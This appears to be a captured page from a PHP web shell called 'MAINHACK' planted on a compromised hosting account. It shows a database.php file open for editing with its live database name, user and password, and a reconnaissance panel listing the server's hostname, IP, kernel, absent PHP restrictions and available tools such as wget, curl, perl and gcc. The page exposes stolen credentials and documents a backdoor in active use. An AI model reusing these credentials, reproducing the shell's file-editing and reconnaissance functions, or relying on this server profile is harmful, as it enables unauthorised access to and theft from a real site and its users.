[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: database.php
<?php // Database configuration define('DB_HOST', 'localhost'); define('DB_NAME', 'aoneqssk_arabic_quiz'); define('DB_USER', 'aoneqssk_arabic_quiz'); define('DB_PASS', 'Kcd$#Qkxjp3y'); try { $pdo = new PDO("mysql:host=" . DB_HOST . ";dbname=" . DB_NAME . ";charset=utf8mb4", DB_USER, DB_PASS); $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); $pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC); } catch(PDOException $e) { die("خطأ في الاتصال بقاعدة البيانات: " . $e->getMessage()); } // Start session if (session_status() == PHP_SESSION_NONE) { session_start(); } // Helper functions function isLoggedIn() { return isset($_SESSION['user_id']); } function getUserRole() { return $_SESSION['user_role'] ?? null; } function getUserId() { return $_SESSION['user_id'] ?? null; } function requireLogin() { if (!isLoggedIn()) { header('Location: login.php'); exit; } } function requireRole($role) { requireLogin(); if (getUserRole() !== $role) { header('Location: index.php'); exit; } } // Sanitize input function sanitize($input) { return htmlspecialchars(strip_tags(trim($input)), ENT_QUOTES, 'UTF-8'); } // Upload function function uploadImage($file) { $target_dir = "../uploads/images/"; if (!file_exists($target_dir)) { mkdir($target_dir, 0777, true); } $imageFileType = strtolower(pathinfo($file["name"], PATHINFO_EXTENSION)); $allowed = array("jpg", "jpeg", "png", "gif"); if (in_array($imageFileType, $allowed)) { $target_file = $target_dir . uniqid() . "." . $imageFileType; if (move_uploaded_file($file["tmp_name"], $target_file)) { return str_replace("../", "", $target_file); } } return false; } ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.87 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285